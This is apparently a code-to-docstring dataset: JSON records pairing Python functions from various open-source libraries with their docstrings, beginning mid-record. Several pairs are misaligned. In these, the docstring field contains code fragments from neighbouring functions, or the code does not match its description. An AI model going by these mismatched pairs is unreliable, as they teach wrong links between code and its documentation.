tf.shape(instance_embedding)[1]\n\n blist_output = box_list_ops.to_absolute_coordinates(\n blist, output_height, output_width, check_range=False)\n (y_center_output, x_center_output,\n _, _) = blist_output.get_center_coordinates_and_sizes()\n center_coords_output = tf.stack([y_center_output, x_center_output], axis=1)\n center_coords_output_int = tf.cast(center_coords_output, tf.int32)\n center_latents = tf.gather_nd(instance_embedding, center_coords_output_int)\n\n return center_latents\n", "nl": "Return the instance embeddings from bounding box centers.Args:boxes: A [num_instances, 4] float tensor holding bounding boxes. Thecoordinates are in normalized input space.instance_embedding: A [height, width, embedding_size] float tensorcontaining the instance embeddings.Returns:instance_embeddings: A [num_instances, embedding_size] shaped float tensorcontaining the center embedding for each instance."} {"code": "def mixer_b16_224_miil_in21k(pretrained=False, **kwargs):\n model_args = dict(patch_size=16, num_blocks=12, embed_dim=768, **kwargs)\n model = _create_mixer('mixer_b16_224_miil_in21k', pretrained=pretrained, **model_args)\n return model\n\n\n@register_model", "nl": " Mixer-B/16 224x224. ImageNet-1k pretrained weights.Weights taken from: https://github.com/Alibaba-MIIL/ImageNet21K"} {"code": "def _test_empty_positions(self):\n algo = TradingAlgorithm(\n script=empty_positions,\n sim_params=self.sim_params,\n env=self.env\n )\n\n results = algo.run(self.data_portal)\n num_positions = results.num_positions\n amounts = results.amounts\n self.assertTrue(all(num_positions == 0))\n self.assertTrue(all(amounts == 0))\n\n @parameterized.expand([\n ('noop_algo', noop_algo),\n ('with_benchmark_set', set_benchmark_algo)]\n )", "nl": "Test that when we try context.portfolio.positions[stock] on a stockfor which we have no positions, we return a Position with values 0(but more importantly, we don't crash) and don't save this Positionto the user-facing dictionary PositionTracker._positions_store"} {"code": "def scale_boxes(boxes, scale):\n w_half = (boxes[:, 2] - boxes[:, 0]) * 0.5\n h_half = (boxes[:, 3] - boxes[:, 1]) * 0.5\n x_c = (boxes[:, 2] + boxes[:, 0]) * 0.5\n y_c = (boxes[:, 3] + boxes[:, 1]) * 0.5\n\n w_half *= scale\n h_half *= scale\n\n scaled_boxes = torch.zeros_like(boxes)\n scaled_boxes[:, 0] = x_c - w_half\n scaled_boxes[:, 2] = x_c + w_half\n scaled_boxes[:, 1] = y_c - h_half\n scaled_boxes[:, 3] = y_c + h_half\n return scaled_boxes", "nl": "Args:boxes (tensor): A tensor of shape (B, 4) representing B boxes with 4coords representing the corners x0, y0, x1, y1,scale (float): The box scaling factor.Returns:Scaled boxes."} {"code": "def random_jitter_box(box, ratio, seed):\n rand_numbers = tf.random_uniform(\n [1, 1, 4], minval=-ratio, maxval=ratio, dtype=tf.float32, seed=seed)\n box_width = tf.subtract(box[0, 0, 3], box[0, 0, 1])\n box_height = tf.subtract(box[0, 0, 2], box[0, 0, 0])\n hw_coefs = tf.stack([box_height, box_width, box_height, box_width])\n hw_rand_coefs = tf.multiply(hw_coefs, rand_numbers)\n jittered_box = tf.add(box, hw_rand_coefs)\n jittered_box = tf.clip_by_value(jittered_box, 0.0, 1.0)\n return jittered_box\n\n with tf.name_scope('RandomJitterBoxes', values=[boxes]):\n boxes_shape = tf.shape(boxes)\n boxes = tf.expand_dims(boxes, 1)\n boxes = tf.expand_dims(boxes, 2)\n\n distorted_boxes = tf.map_fn(\n lambda x: random_jitter_box(x, ratio, seed), boxes, dtype=tf.float32)\n\n distorted_boxes = tf.reshape(distorted_boxes, boxes_shape)\n\n return distorted_boxes\n\n", "nl": "Randomly jitter box.Args:box: bounding box [1, 1, 4].ratio: max ratio between jittered box and original box,a number between [0, 0.5].seed: random seed.Returns:jittered_box: jittered box."} {"code": "def update(self, value: float, iteration: float = None):\n if iteration is None:\n iteration = self._count\n if len(self._data) == self._max_length:\n self._data.pop(0)\n self._data.append((value, iteration))\n\n self._count += 1\n self._global_avg += (value - self._global_avg) / self._count\n", "nl": "Add a new scalar value produced at certain iteration. If the lengthof the buffer exceeds self._max_length, the oldest element will beremoved from the buffer."} {"code": "def test_set_embedded(self):\n jf = pexif.JpegFile.fromFile(DEFAULT_TESTFILE)\n jf.exif.primary.ExtendedEXIF.PixelXDimension = [1600]\n jf.exif.primary.ExtendedEXIF.PixelYDimension = [1200]\n new = jf.writeString()\n nf = pexif.JpegFile.fromString(new)\n self.assertEqual(nf.exif.primary.ExtendedEXIF.PixelXDimension, [1600])\n self.assertEqual(nf.exif.primary.ExtendedEXIF.PixelYDimension, [1200])\n\n\nif __name__ == \"__main__\":\n unittest.main()", "nl": "Test that setting an embedded tag raises a type errorjf = pexif.JpegFile.fromFile(DEFAULT_TESTFILE)ext_exif = pexif.IfdExtendedEXIF(jf.exif.primary.e, 0, \"rw\", jf)jf.exif.primary.ExtendedEXIF = ext_exifdef test_set_xy_dimensions(self):Test setting PixelXDimension and PixelYDimension."} {"code": "def load(self, path):\n path = os.path.normpath(path)\n mtime = os.stat(path).st_mtime\n\n if path not in self or self[path].mtime != mtime:\n manifest = self.build(path)\n self[path] = self.manifest_mod(manifest, mtime)\n\n return self[path].manifest\n\n\nclass ContextualZipFile(zipfile.ZipFile):\n \"\"\"\n", "nl": "Load a manifest at path or return a suitable manifest already loaded."} {"code": "def empty_frame(series):\n index = series.index[:0]\n return DataFrame(index=index)\n\n\n@pytest.fixture(params=[Series, DataFrame])", "nl": "Fixture for parametrization of empty DataFrame with date_range,period_range and timedelta_range indexes"} {"code": "def body(self, master):\n pass\n", "nl": "create dialog body.return widget that should have initial focus.This method should be overridden, and is calledby the __init__ method."} {"code": "def _apply_stylesheet(self, focus=False):\n sig_focus_in_event = Signal()\n \"\"\"\n\n sig_focus_out_event = Signal()\n \"\"\"\n", "nl": "Apply stylesheet according to the current focus.if focus:border_color = QStylePalette.COLOR_ACCENT_3else:border_color = QStylePalette.COLOR_BACKGROUND_4css = qstylizer.style.StyleSheet()css.QFrame.setValues(border=f'1px solid {border_color}',margin='0px 1px 0px 1px',padding='0px 0px 1px 0px',borderRadius='3px')self.setStyleSheet(css.toString())class TermView(QWebEngineView, SpyderWidgetMixin):XTerm Wrapper."} {"code": "def import_schema(self, definitions, d):\n Represents .\n \"\"\"", "nl": " import schema as content if not len(definitions.types):types = Types.create(definitions)definitions.types.append(types)else:types = definitions.types[-1]types.root.append(d.root)log.debug('imported (XSD):\\n%s', d.root)def __gt__(self, other):return Falseclass Types(WObject):"} {"code": "def read_random_int(nbits):\n\n nbytes = int(math.ceil(nbits/8.))\n randomdata = os.urandom(nbytes)\n return bytes2int(randomdata)\n", "nl": "Reads a random integer of approximately nbits bits rounded upto whole bytes"} {"code": "def data(self):\n return self._data\n\n @data.setter", "nl": "Gets the data of this V1alpha1RawArtifact. # noqa: E501Data is the string contents of the artifact # noqa: E501:return: The data of this V1alpha1RawArtifact. # noqa: E501:rtype: str"} {"code": "def mkpydir(self, name):\n p = self.mkdir(name)\n p.ensure(\"__init__.py\")\n return p\n", "nl": "Create a new python package.This creates a (sub)directory with an empty ``__init__.py`` file so itgets recognised as a python package."} {"code": "def test_write(self):\n\n key = 'test_attr'\n section = 'Test'\n true_value = 'test_value'\n self.config.write_file(section, key, true_value)\n conf = configparser.ConfigParser()\n conf.read(TEST_PATH)\n value = conf[section][key]\n self.assertEqual(value, true_value)\n\n key = 'vlc_args'\n section = 'Defaults'\n true_value = 'test_value2'\n setattr(self.config, key, true_value)\n value = getattr(self.config, key)\n self.assertEqual(value, true_value)\n conf = configparser.ConfigParser()\n conf.read(TEST_PATH)\n self.assertEqual(conf[section][key], true_value)\n", "nl": "Check if the config file is modified correctly."} {"code": "def typeChecker(caller, testee, desired_type, field):\n if not isinstance(testee, desired_type):\n handler(caller, '{} [{}] is not a {}'.format(testee, field,\n str(desired_type)))\n raise BadType\n\n", "nl": "Verifies that the tested object is of the correct type:param caller: the entity that called this function (used for errormessages):param testee: the element to test:param desired_type: the type the element should be:param field: what the element is to be used as (used for errormessages):raises BadType: error denoting the testee element is not of thecorrect type"} {"code": "def __and__(self, other):\n if not isinstance(other, Counter):\n return NotImplemented\n _min = min\n result = Counter()\n if len(self) < len(other):\n self, other = other, self\n for elem in ifilter(self.__contains__, other):\n newcount = _min(self[elem], other[elem])\n if newcount > 0:\n result[elem] = newcount\n return result\n\nelse:\n try:\n from UserDict import DictMixin\n except ImportError:\n from collections import MutableMapping as DictMixin\n from collections import OrderedDict, Counter\n\n__all__ = ['DictMixin', 'OrderedDict', 'Counter']", "nl": " Intersection is the minimum of corresponding counts.>>> Counter('abbb') & Counter('bcc')Counter({'b': 1})"} {"code": "def __get__(self, obj, type=None):\n geom_value = obj.__dict__[self._field.attname]\n\n if isinstance(geom_value, self._klass):\n geom = geom_value\n elif (geom_value is None) or (geom_value==''):\n geom = None\n else:\n geom = self._klass(geom_value)\n setattr(obj, self._field.attname, geom)\n return geom\n", "nl": "This accessor retrieves the geometry, initializing it using the geometryclass specified during initialization and the HEXEWKB value of the field.Currently, only GEOS or OGR geometries are supported."} {"code": "def test_get_config(self, test_case):\n if self.device.platform == \"iosxr_netconf\":\n pytest.skip(\"This test is not implemented on {self.device.platform}\")\n for config in [\"running\", \"startup\", \"candidate\"]:\n get_config = self.device.get_config(retrieve=config)\n\n assert get_config[\"candidate\"] == \"\" if config != \"candidate\" else True\n assert get_config[\"startup\"] == \"\" if config != \"startup\" else True\n assert get_config[\"running\"] == \"\" if config != \"running\" else True\n\n return get_config\n\n @wrap_test_cases", "nl": "Test get_config method.get_config = self.device.get_config()assert isinstance(get_config, dict)assert helpers.test_model(models.ConfigDict, get_config)return get_config@wrap_test_casesdef test_get_config_filtered(self, test_case):Test get_config method."} {"code": "def getUidl(self, i):\n raise ValueError\n\n", "nl": "Get a unique identifier for a message.@type i: L{int}@param i: The 0-based index of a message.@rtype: L{bytes}@return: A string of printable characters uniquely identifying themessage for all time.@raise ValueError or IndexError: When the index does not correspond toa message in the mailbox. The use of ValueError is preferred."} {"code": "def name(self):\n return self._username\n\n @property", "nl": "Return the human read-able name for the pluginreturn \"Wimp Plugin for {}\".format(self._username)@propertydef username(self):Return the username."} {"code": "def _from_python(self, value):\n if hasattr(value, 'strftime'):\n if not hasattr(value, 'hour'):\n value = datetime(value.year, value.month, value.day, 0, 0, 0)\n elif isinstance(value, bool):\n if value:\n value = 'true'\n else:\n value = 'false'\n elif isinstance(value, (list, tuple)):\n value = u','.join([force_text(v) for v in value])\n elif isinstance(value, (six.integer_types, float)):\n pass\n else:\n value = force_text(value)\n return value\n", "nl": "Converts Python values to a string for Whoosh.Code courtesy of pysolr."} {"code": "def cgexec(into, subcommand):\n cgrps = [cgrp.split(':') for cgrp in into]\n\n for (subsystem, path) in cgrps:\n pathplus = path.split('=')\n if len(pathplus) == 2:\n group = os.path.dirname(pathplus[0])\n pseudofile = os.path.basename(pathplus[0])\n value = pathplus[1]\n cgroups.set_value(subsystem, group, pseudofile, value)\n else:\n cgutils.create(subsystem, path)\n cgroups.join(subsystem, path)\n\n if subcommand:\n execargs = list(subcommand)\n utils.sane_execvp(execargs[0], execargs)\n\n del cgexec\n\n return top", "nl": "execs command into given cgroup(s)."} {"code": "def latex_to_unicode(string):\n if '\\\\' in string or '{' in string:\n string = _replace_all_latex(string, itertools.chain(\n unicode_to_crappy_latex1, unicode_to_latex))\n\n string = string.replace(\"{\", \"\").replace(\"}\", \"\")\n\n if '\\\\' in string or '{' in string:\n string = _replace_all_latex(string, unicode_to_crappy_latex2)\n\n string = unicodedata.normalize(\"NFC\", u\"\".join(string))\n\n return string\n\n", "nl": "Convert a LaTeX string to unicode equivalent.:param string: string to convert:returns: string"} {"code": "def nodes(self):\n return iter(self)\n\n @property", "nl": " Returns an iterator of nodes."} {"code": "def possui_apenas_uma_letra_diferente(palavra: str, outro_palavra: str) -> bool:\n if len(palavra) != len(outro_palavra):\n return False\n return sum(1 for a, b in zip(palavra, outro_palavra) if a != b) == 1", "nl": ">>> possui_apenas_uma_letra_diferente('dog', 'cog')True>>> possui_apenas_uma_letra_diferente('too', 'tot')True>>> possui_apenas_uma_letra_diferente('too', 'tott')False>>> possui_apenas_uma_letra_diferente('dig', 'cog')False>>> possui_apenas_uma_letra_diferente('dig', 'cog')False:param palavra::param outro_palavra::return:"} {"code": "def set_dirty(self):\n if self.__state > 0:\n self.__state -= 1\n else:\n raise DeviceError(\"Trying to clean clear VM (probably calling \"\n \"hotplug_clean() twice).\\n%s\" % self.str_long())\n", "nl": " Increase VM dirtiness (not synchronized with VM) if self.__state >= 0:self.__state += 1else:self.__state = 1def set_clean(self): Decrease VM dirtiness (synchronized with VM) "} {"code": "def git_pieces_from_vcs(tag_prefix, root, verbose, run_command=run_command):\n GITS = [\"git\"]\n if sys.platform == \"win32\":\n GITS = [\"git.cmd\", \"git.exe\"]\n\n out, rc = run_command(GITS, [\"rev-parse\", \"--git-dir\"], cwd=root, hide_stderr=True)\n if rc != 0:\n if verbose:\n print(\"Directory %s not under git control\" % root)\n raise NotThisMethod(\"'git rev-parse --git-dir' returned error\")\n\n describe_out, rc = run_command(\n GITS,\n [\n \"describe\",\n \"--tags\",\n \"--dirty\",\n \"--always\",\n \"--long\",\n \"--match\",\n \"%s*\" % tag_prefix,\n ],\n cwd=root,\n )\n if describe_out is None:\n raise NotThisMethod(\"'git describe' failed\")\n describe_out = describe_out.strip()\n full_out, rc = run_command(GITS, [\"rev-parse\", \"HEAD\"], cwd=root)\n if full_out is None:\n raise NotThisMethod(\"'git rev-parse' failed\")\n full_out = full_out.strip()\n\n pieces = {}\n pieces[\"long\"] = full_out\n pieces[\"short\"] = full_out[:7]\n pieces[\"error\"] = None\n\n git_describe = describe_out\n\n dirty = git_describe.endswith(\"-dirty\")\n pieces[\"dirty\"] = dirty\n if dirty:\n git_describe = git_describe[: git_describe.rindex(\"-dirty\")]\n\n\n if \"-\" in git_describe:\n mo = re.search(r\"^(.+)-(\\d+)-g([0-9a-f]+)$\", git_describe)\n if not mo:\n pieces[\"error\"] = \"unable to parse git-describe output: '%s'\" % describe_out\n return pieces\n\n full_tag = mo.group(1)\n if not full_tag.startswith(tag_prefix):\n if verbose:\n fmt = \"tag '%s' doesn't start with prefix '%s'\"\n print(fmt % (full_tag, tag_prefix))\n pieces[\"error\"] = \"tag '%s' doesn't start with prefix '%s'\" % (\n full_tag,\n tag_prefix,\n )\n return pieces\n pieces[\"closest-tag\"] = full_tag[len(tag_prefix) :]\n\n pieces[\"distance\"] = int(mo.group(2))\n\n pieces[\"short\"] = mo.group(3)\n\n else:\n pieces[\"closest-tag\"] = None\n count_out, rc = run_command(GITS, [\"rev-list\", \"HEAD\", \"--count\"], cwd=root)\n pieces[\"distance\"] = int(count_out)\n\n date = run_command(GITS, [\"show\", \"-s\", \"--format=%ci\", \"HEAD\"], cwd=root)[\n 0\n ].strip()\n pieces[\"date\"] = date.strip().replace(\" \", \"T\", 1).replace(\" \", \"\", 1)\n\n return pieces\n\n", "nl": "Get version from 'git describe' in the root of the source tree.This only gets called if the git-archive 'subst' keywords were *not*expanded, and _version.py hasn't already been rewritten with a shortversion string, meaning we're inside a checked out source tree."} {"code": "def _retain_better_pruned_models(self, pruned_models: List[str], original_prune_map: dict, force_prune: bool = False) -> List[str]:\n models = []\n for pruned_model in pruned_models:\n original_model = original_prune_map[pruned_model]\n leaderboard = self.leaderboard()\n original_score = leaderboard[leaderboard['model'] == original_model]['score_val'].item()\n pruned_score = leaderboard[leaderboard['model'] == pruned_model]['score_val'].item()\n score_str = f\"({round(pruned_score, 4)} vs {round(original_score, 4)})\"\n if force_prune:\n logger.log(30, f\"Pruned score vs original score is {score_str}. Replacing original model since force_prune=True...\")\n self.delete_models(models_to_delete=original_model, dry_run=False)\n models.append(pruned_model)\n elif pruned_score > original_score:\n logger.log(30, f\"Model trained with feature pruning score is better than original model's score {score_str}. Replacing original model...\")\n self.delete_models(models_to_delete=original_model, dry_run=False)\n models.append(pruned_model)\n else:\n logger.log(30, f\"Model trained with feature pruning score is not better than original model's score {score_str}. Keeping original model...\")\n self.delete_models(models_to_delete=pruned_model, dry_run=False)\n models.append(original_model)\n return models\n", "nl": "Compares models fit on the pruned set of features with their counterpart, models fit on full set of features.Take the model that achieved a higher validation set score and delete the other from self.model_graph.Parameters----------pruned_models : List[str]A list of pruned model names.original_prune_map : dictA dictionary mapping the names of models fitted on pruned features to the names of models fitted on original features.force_prune : bool, default = FalseIf set to true, force all base learners to work with the pruned set of features.Returns----------models : List[str]A list of model names."} {"code": "def add_section(self, section):\n section, _, _ = self._validate_value_types(section=section)\n super(ConfigParser, self).add_section(section)\n\n\nclass SafeConfigParser(ConfigParser):\n \"\"\"ConfigParser alias for backwards compatibility purposes.\"\"\"", "nl": "Create a new section in the configuration. ExtendsRawConfigParser.add_section by validating if the section name isa string."} {"code": "def isfunction(object):\n return isinstance(object, types.FunctionType)\n", "nl": "Return true if the object is a user-defined function.Function objects provide these attributes:__doc__ documentation string__name__ name with which this function was definedfunc_code code object containing compiled function bytecodefunc_defaults tuple of any default values for argumentsfunc_doc (same as __doc__)func_globals global namespace in which this function was definedfunc_name (same as __name__)"} {"code": "def extents(self):\n self._updateExtents()\n return self.mExtents\n", "nl": "**SUMMARY**This function returns the maximum and minimum x and y values for the feature andreturns them as a tuple.**RETURNS**A tuple of the extents of the feature. The order is (MaxX,MaxY,MinX,MinY).**EXAMPLE**>>> img = Image(\"OWS.jpg\")>>> blobs = img.findBlobs(128)>>> print blobs[-1].extents()"} {"code": "def mean_qscore(scores, qround=True):\n if len(scores) == 0:\n return 0.0\n sum_prob = 0.0\n for val in scores:\n sum_prob += phred_to_prob(val)\n mean_prob = sum_prob / float(len(scores))\n mean_phred = prob_to_phred(mean_prob, qround=qround)\n return mean_phred\n\n", "nl": " Returns the phred score corresponding to the mean of the probabilities associated with the phred scores provided.:param scores: Iterable of phred scores.:param qround: Round after calculating mean score.:returns: Phred score corresponding to the average error rate, as estimated from the input phred scores."} {"code": "def _getHost(self, bytes):\n for line in bytes.split(b'\\r\\n'):\n try:\n name, value = line.split(b':', 1)\n if name.strip().lower() == b'host':\n return value.strip()\n except ValueError:\n pass\n\n", "nl": "Retrieve the value of the I{Host} header from the serializedrequest given by C{bytes}."} {"code": "def __eq__(self, other):\n return self.cpu + \" \" + self.os\n\n\nclass DNSPointer(DNSRecord):\n\n \"\"\"A DNS pointer record\"\"\"", "nl": "Tests equality on cpu and osreturn (isinstance(other, DNSHinfo) andself.cpu == other.cpu and self.os == other.os)def __repr__(self):String representation"} {"code": "def _from_record(data):\n if isinstance(data, dict):\n return Schema._from_dict_record(data)\n elif isinstance(data, list):\n return Schema._from_list_record(data)\n else:\n raise Exception('Cannot create a schema from record %s' % str(data))\n\n @staticmethod", "nl": "Infer a BigQuery table schema from a list of fields or a dictionary. The typeof the elementsis used. For a list, the field names are simply 'Column1', 'Column2', etc.Args:data: The list of fields or dictionary.Returns:A list of dictionaries containing field 'name' and 'type' entries, suitable for use in aBigQuery Tables resource schema."} {"code": "def build_rust_binaries():\n print(build_python_protobufs.__doc__)\n\n subprocess.call(f\"protoc --python_out={package_dir} *.proto\", shell=True, cwd=prototypes_dir)\n\n for proto_name in os.listdir(package_dir):\n if not proto_name.endswith(\"_pb2.py\"):\n continue\n\n proto_path = os.path.join(package_dir, proto_name)\n with open(proto_path, 'r') as proto_file:\n proto_text = \"\".join(\n [\"from . \" + line if re.match(\"^import.*_pb2.*\", line) else line for line in proto_file.readlines()])\n\n with open(proto_path, 'w') as proto_file:\n proto_file.write(proto_text)\n\n", "nl": "(a) Build the Rust Validator and Runtimeprint(build_rust_binaries.__doc__)rust_build_path = os.path.join(rust_dir, 'target', 'debug' if WN_DEBUG else 'release')rust_build_cmd = 'cargo build' if WN_DEBUG else 'cargo +stable build --release'toml_path = os.path.join(rust_dir, \"ffi-rust\", \"Cargo.toml\")cargo_features = ' --features use-direct-api'if WN_USE_VULNERABLE_NOISE:cargo_features = ' --no-default-features --features \"use-runtime use-direct-api\"'elif WN_USE_SYSTEM_LIBS:cargo_features = ' --features \"use-system-libs use-direct-api\"'rust_build_cmd = f\"{rust_build_cmd}{cargo_features} --manifest-path={toml_path}\"# build shared librarysubprocess.call(rust_build_cmd, shell=True)shutil.rmtree(lib_dir, ignore_errors=True)os.makedirs(lib_dir, exist_ok=True)for filename in os.listdir(rust_build_path):if filename.startswith(\"libsmartnoise_ffi\") and os.path.isfile(os.path.join(rust_build_path, filename)):shutil.copy(os.path.join(rust_build_path, filename), lib_dir)def build_python_protobufs():(b) Build the Python classes from Protobuf definitions"} {"code": "def lcprefix(self, strings: List[str]) -> str:\n return cast(str, commonprefix(strings))\n", "nl": "Return the longest common prefix of a list of strings.Longest common prefix (LCPrefix).Parameters----------strings : list of stringsStrings for comparisonReturns-------strThe longest common prefixExamples-------->>> pfx = LCPrefix()>>> pfx.lcprefix(['cat', 'hat'])''>>> pfx.lcprefix(['Niall', 'Neil'])'N'>>> pfx.lcprefix(['aluminum', 'Catalan'])''>>> pfx.lcprefix(['ATCG', 'TAGC'])''.. versionadded:: 0.4.0"} {"code": "def delete(self):\n return self.parent.delete_instance(self.name)\n\n\nclass PhoneNumbers(NextGenListResource):\n \"\"\" A list of Phone Numbers resources \"\"\"", "nl": "Removes an associated Phone Number from a Trunk."} {"code": "def get_train_examples(self, data_dir):\n logger.info(\"LOOKING AT {} dev\".format(data_dir))\n return self._create_examples(self._read_csv(os.path.join(data_dir, \"val.csv\")), \"dev\")\n", "nl": "See base class.logger.info(\"LOOKING AT {} train\".format(data_dir))return self._create_examples(self._read_csv(os.path.join(data_dir, \"train.csv\")), \"train\")def get_dev_examples(self, data_dir):See base class."} {"code": "def _random_getnode():\n\n The first time this runs, it may launch a separate program, which could\n be quite slow. If all attempts to obtain the hardware address fail, we\n choose a random 48-bit number with its eighth bit set to 1 as recommended\n in RFC 4122.\n \"\"\"", "nl": "Get a random node ID, with eighth bit set as suggested by RFC 4122.import randomreturn random.randrange(0, 1<<48L) | 0x010000000000L_node = Nonedef getnode():Get the hardware address as a 48-bit positive integer."} {"code": "def reset(self):\n\n self.hand = list()\n\n\nclass Player:", "nl": "sets `self.hand` to an empty list"} {"code": "def validate_cfg(self, kw):\n\tif not 'path' in kw:\n\t\tif not self.env.PKGCONFIG:\n\t\t\tself.find_program('pkg-config', var='PKGCONFIG')\n\t\tkw['path'] = self.env.PKGCONFIG\n\n\ts = ('atleast_pkgconfig_version' in kw) + ('modversion' in kw) + ('package' in kw)\n\tif s != 1:\n\t\traise ValueError('exactly one of atleast_pkgconfig_version, modversion and package must be set')\n\tif not 'msg' in kw:\n\t\tif 'atleast_pkgconfig_version' in kw:\n\t\t\tkw['msg'] = 'Checking for pkg-config version >= %r' % kw['atleast_pkgconfig_version']\n\t\telif 'modversion' in kw:\n\t\t\tkw['msg'] = 'Checking for %r version' % kw['modversion']\n\t\telse:\n\t\t\tkw['msg'] = 'Checking for %r' %(kw['package'])\n\n\tif not 'okmsg' in kw and not 'modversion' in kw:\n\t\tkw['okmsg'] = 'yes'\n\tif not 'errmsg' in kw:\n\t\tkw['errmsg'] = 'not found'\n\n\tif 'atleast_pkgconfig_version' in kw:\n\t\tpass\n\telif 'modversion' in kw:\n\t\tif not 'uselib_store' in kw:\n\t\t\tkw['uselib_store'] = kw['modversion']", "nl": "Searches for the program *pkg-config* if missing, and validates theparameters to pass to :py:func:`waflib.Tools.c_config.exec_cfg`.:param path: the **-config program to use** (default is *pkg-config*):type path: list of string:param msg: message to display to describe the test executed:type msg: string:param okmsg: message to display when the test is successful:type okmsg: string:param errmsg: message to display in case of error:type errmsg: string"} {"code": "def pad_seq_records_for_alignment(seqs: List[SeqLikeType]):\n df = pd.DataFrame({\"seqs\": [SeqLike(seq, seq_type=\"aa\") for seq in seqs]})\n return df.seqs.seq.as_alignment()\n\n", "nl": "Pad sequences so that lengths match for multiple sequence alignment.:param seqs: a list of SeqLikeType:returns: a MultipleSeqAlignment object"} {"code": "def isPalindromicPermutation_hint(self):\n print_msg_box(message)\n", "nl": "message = Palindromic Permutation------------------------------------Purpose :To check if the permutation of the characters in a string canmake it palindromicMethod : string manipulation, palindromic behaviourTime Complexity : Worst Case - O(n), n = length of the stringHint :Make a dictionary of characters and their repeatations.Pseudocode :--> Take a blank dictionary--> for i in [0,length of input string]key = input[i]if(key in dictionary)dictionary[key]+=1elsepush {key:1} inside dictionary--> Check if dictioary[i] %2 == 1Visualization:Given String :\"abbca\"Making a table using dictionary :Step 1 - create a blank dictionary - {}Step 2 - check if the key existsyes --> add 1no --> push {key:1} inside the dictionaryStep 3 - You have the following table+----------+----------------+| key | repeatations |+----------+----------------+| a | 2 | --> rem = 0, flag = 0-----------------------------| b | 2 | --> rem = 0, flag = 0-----------------------------| c | 1 | --> rem = 0, flag = 1-----------------------------Step 4 - check reminder, set flag = 0, initiallyStep 5 - return booleanLearn More about Python Dictionaries Below -https://www.w3schools.com/python/python_dictionaries.asp"} {"code": "def _predict_proba(self, X, **kwargs):\n from .tabular_nn_dataset import TabularNNDataset\n if isinstance(X, TabularNNDataset):\n return self._predict_tabular_data(new_data=X, process=False, predict_proba=True)\n elif isinstance(X, pd.DataFrame):\n X = self.preprocess(X, **kwargs)\n return self._predict_tabular_data(new_data=X, process=True, predict_proba=True)\n else:\n raise ValueError(\"X must be of type pd.DataFrame or TabularNNDataset, not type: %s\" % type(X))\n", "nl": " To align predict with abstract_model API.Preprocess here only refers to feature processing steps done by all AbstractModel objects,not tabularNN-specific preprocessing steps.If X is not DataFrame but instead TabularNNDataset object, we can still produce predictions,but cannot use preprocess in this case (needs to be already processed)."} {"code": "def verbose_name(self):\n raise NotImplementedError()\n\n @property", "nl": "A human-readable name of this authentication backend."} {"code": "def erase(self):\n self._init()\n self._post_init()\n if self._collector:\n self._collector.reset()\n self._init_data(suffix=None)\n self._data.erase(parallel=self.config.parallel)\n self._data = None\n self._inited_for_start = False\n", "nl": "Erase previously collected coverage data.This removes the in-memory data collected in this session as well asdiscarding the data file."} {"code": "def connect(self):\n\n", "nl": "Implement L{IConnector.connect} as a no-op."} {"code": "def _parseFormats(self, formats, aligned=0):\n attribute \"\"\"", "nl": " Parse the field formats if formats is None:raise ValueError(\"Need formats argument\")if isinstance(formats, list):if len(formats) < 2:formats.append('')formats = ','.join(formats)dtype = sb.dtype(formats, aligned)fields = dtype.fieldsif fields is None:dtype = sb.dtype([('f1', dtype)], aligned)fields = dtype.fieldskeys = dtype.namesself._f_formats = [fields[key][0] for key in keys]self._offsets = [fields[key][1] for key in keys]self._nfields = len(keys)def _setfieldnames(self, names, titles):convert input field names into a list and assign to the _names"} {"code": "def send_messages(self, email_messages):\n\n queue = getattr(settings, 'CUCUMBER_ROUTE_QUEUE', '')\n num_sent = 0\n for message in email_messages:\n SendEmailTask.apply_async(args=[\n message.from_email,\n message.recipients(),\n message.message().as_string().decode('utf8'),],\n queue=queue,\n )\n num_sent += 1\n return num_sent", "nl": "Sends one or more EmailMessage objects and returns the number ofemail messages sent.:param EmailMessage email_messages: A list of Django's EmailMessageobject instances.:rtype: int:returns: The number of EmailMessage objects that were successfullyqueued up. Note that these are not in a state where we canguarantee delivery just yet."} {"code": "def run(self, screen):\n self.screen = screen\n next_scene = None\n while next_scene is None:\n next_scene = self.update(screen)\n pg.display.flip()\n for event in self.get_events():\n if event.type == pg.QUIT:\n return\n next_scene = self.handle(event)\n\n return next_scene\n", "nl": "Run this scene's main event loop. Return either the next scene orNone, at which point Main ends."} {"code": "def setup_columns(self, *args, **kwargs):\n\n self.add_column(title=\"Custom image\",\n hideable=False,\n orderable=True,\n field_name=\"name\",\n static_data_name=\"name\",\n static_data_template=name_link_template)\n\n recipe_file_template = '''\n\n self.add_column(title=\"Recipe file\",\n static_data_name='recipe_file_download',\n static_data_template=recipe_file_template)\n\n approx_packages_template = '''\n\n self.add_column(title=\"Packages\",\n static_data_name='approx_packages',\n static_data_template=approx_packages_template)\n\n\n build_btn_template = '''", "nl": "name_link_template = {{data.name}}"} {"code": "def __init__(self, machine):\n raise NotImplementedError\n", "nl": "Add led feature.super().__init__(machine)self.features['has_lights'] = True@abc.abstractmethoddef parse_light_number_to_channels(self, number: str, subtype: str):Parse light number to a list of channels."} {"code": "def _coerceToFilesystemEncoding(path, newpath, encoding=None):\n if type(path) == bytes:\n return _asFilesystemBytes(newpath, encoding=encoding)\n else:\n return _asFilesystemText(newpath, encoding=encoding)\n\n\n\n@comparable\n@implementer(IFilePath)\nclass FilePath(AbstractFilePath):\n \"\"\"\n _statinfo = None\n path = None\n\n", "nl": "Return a C{newpath} that is suitable for joining to C{path}.@param path: The path that it should be suitable for joining to.@param newpath: The new portion of the path to be coerced if needed.@param encoding: If coerced, the encoding that will be used."} {"code": "def test_readNone(self):\n bytes = b\"the entire stream\"\n d = self._renderAndReturnReaderResult(\n lambda input: input.read(None), bytes)\n d.addCallback(self.assertEqual, bytes)\n return d\n\n", "nl": "Calling L{_InputStream.read} with L{None} as an argument returns allbytes in the input stream."} {"code": "def on_connection_close(self):\n if _has_stream_request_body(self.__class__):\n if not self.request.body.done():\n self.request.body.set_exception(iostream.StreamClosedError())\n self.request.body.exception()\n", "nl": "Called in async handlers if the client closed the connection.Override this to clean up resources associated withlong-lived connections. Note that this method is called only ifthe connection was closed during asynchronous processing; if youneed to do cleanup after every request override `on_finish`instead.Proxies may keep a connection open for a time (perhapsindefinitely) after the client has gone away, so this methodmay not be called promptly after the end user closes theirconnection."} {"code": "def reflow(text, width, flexDown = 5, flexUp = 5):\n return _snack.reflow(text, width, flexDown, flexUp)\n\n\nclass RadioGroup(Widget):\n \"\"\" Combo widget: Group of Radio buttons", "nl": " returns a tuple of the wrapped text, the actual width, and the actual height"} {"code": "def terminate_connection(self):\n assert self.thread is None, \\\n f\"There has to be only one thread per ResettableCommunicator object, \" \\\n f\" thread {self.thread} already 